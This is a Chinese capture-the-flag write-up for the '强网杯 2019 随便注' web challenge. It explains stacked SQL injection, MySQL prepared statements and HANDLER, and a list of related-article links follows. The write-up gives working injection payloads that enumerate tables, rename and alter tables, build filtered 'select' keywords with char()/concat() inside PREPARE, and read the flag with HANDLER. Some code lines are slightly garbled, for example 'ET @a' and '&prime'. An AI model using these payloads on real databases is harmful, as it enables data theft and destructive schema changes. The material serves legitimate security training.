文章目录

  • 前言
  • 前置知识
    • 堆叠注入
    • 预处理语句
      • 即时 SQL
      • 预处理SQL
        • 使用方法
          • 字符串定义预处理
          • 变量定义预处理 SQL
    • HANDLER命令
  • 三种姿势
    • 姿势一 ---- 常规堆叠注入
    • 姿势二---预处理语句
    • 姿势三 --- handeler
  • 参考文章

前言

1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关

前置知识

堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
比如:
select flag from flag;select * from flag它首先会执行前半部分,等前半部分执行完了以后则执行第二句话、

预处理语句

首先在介绍之前要先说一下即时sql

即时 SQL

一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL),具体如下

    1. 词法和语义解析;
    1. 优化 SQL 语句,制定执行计划;
    1. 执行并返回结果;

但是,在绝大多数情况下,如果需求某一条 SQL 语句被反复调用执行,或者每次执行的时候只有个别的值不同。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显降低了许多。这个时候就需要预处理sql

预处理SQL

预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
简单用法:

使用方法

MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句
字符串定义预处理
PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
ET @a = 3;
SET @b = 4;
EXECUTE stmt1 USING @a, @b;
变量定义预处理 SQL
SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
PREPARE stmt2 FROM @s;
SET @c = 6;
ET @d = 8;
EXECUTE stmt2 USING @c, @d;
DEALLOCATE PREPARE stmt2;

HANDLER命令

我觉得这篇文章还行https://www.jb51.net/article/88732.htm,暂时了解一下吧,不做深入学习暂时

三种姿势

姿势一 ---- 常规堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

首先老规矩输入1

加个单引号,报错

注释掉后面大概猜到表的结构了selsect id,data from words where id =,并且是字符型注入

整一个万能查询,看一看

利用order by查询发现有2列

查回显位,哦吼出来的这个东西基本把能用的全搞掉了,难受,考虑堆叠注入

show tables发现有两个表一个叫words一个叫1919810931114514

show columns from查询列
11';show columns from words#,发现words下面有两个字段一个iddata

1'; show columns from1919810931114514; #,得到其只有一个字段flag

根据前面的分析查询语句是selsect id,data from words where id =,,这时候就想到了一个改名的方法,把words随便改成其他名字,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#就能够得到flag了

因此我们构造payload:
′换成``符号
111′;rename table words to hhh;rename table &prime1919810931114514′ to words;alter table words change flag id varchar(100) ;#

姿势二—预处理语句

首先给出一个基本用法示例

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#

或者

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#

姿势三 — handeler

涨见识了
这里还有一种新姿势,参考官方文档

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

';handler `1919810931114514` open;handler `1919810931114514` read first#

参考文章

堆叠注入详解
MySQL的SQL预处理(Prepared)
Stacked Queries
BUUCTF-Web-随便注(三种解题思路)
SQL Injection8(堆叠注入)——强网杯2019随便注

[SQL注入][强网杯 2019]随便注(三种姿势)相关推荐

  1. 堆叠注入-强网杯2019随便注

    靶场地址 链接(click me) 发现很友情的提示,emmm,那就先使用不同的 payload 进行测试,看下结果吧 直接点击提交,看结果,输出为一个数组,此处应有文章可做,再测试其他payload ...

  2. buuctf [强网杯 2019]随便注 1

    buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...

  3. 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...

  4. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  5. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  6. BMZCTF 强网杯 2019 随便注 原理+题解

    目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...

  7. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

  8. BUUCTF [强网杯 2019]随便注

    题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...

  9. [强网杯 2019]随便注 1【SQL注入】解析过程

    1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入. 2.提交后提示error 1064 : You have an error in your SQL ...

  10. BUUCTF-WEB:[强网杯 2019]随便注 1

    题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn 打开环境: 尝试注入: 解题思路: 1.先尝试用union联合注入: 第 ...

最新文章

  1. 干货丨关于机器学习那些你不知道的“民间智慧”
  2. 不错的jquery插件
  3. get post请求区别_LoadRunner发送GET和POST请求
  4. Codewars-Javascript训练手册:正则表达式(Regular Expressions)
  5. jquery基本操作
  6. java 调用htm中js函数_Lua中调用C函数(lua5.2.3)
  7. NSInteger,NSUInteger,NSNumber
  8. Code Blocks 10 05的安装及使用
  9. 《废柴》系列 - What?废柴,你不会下载Google浏览器插件,Are you kidding???
  10. Ubuntu 20.04开机自启脚本(亲测)
  11. 20145202马超《java》实验5
  12. 在Lua中“优雅”地使用Protobuf
  13. Pandas基础-利用python进行数据分析
  14. [Music]五月天-知足
  15. Dynamo 如何生成管道
  16. 利用企业微信API实现天气机器人、故障报警机器人等
  17. 综合评价与决策方法01——理想解法
  18. 关于P2P资金托管的知识
  19. win7系统瘦身方法,C盘瘦身方法
  20. 易语言python模块_Python获取指定模块基址

热门文章

  1. HDU1071微积分公式求曲线面积
  2. 天翼云技术B卷编程题
  3. java面试英语自我介绍_java英语面试自我介绍
  4. 计算机等级考试数据库三级模拟题7
  5. 短连接生成系统如何设计?
  6. 嵌入式 Linux 入门(一、Linux 基本介绍及文件结构)
  7. Ubuntu16.04拨号上网
  8. linux服务器安装网卡驱动,Linux下如何安装网卡驱动
  9. 3dmax:3dmax三维建模中常用的渲染设置【明暗器基本参数】、Standard的材质、光线跟踪、合成、混合、建筑、无光/投影、混合实例 、多维子对象之详细攻略
  10. 启用视口着色:在视图窗口实时显示灯光照明效果_daiding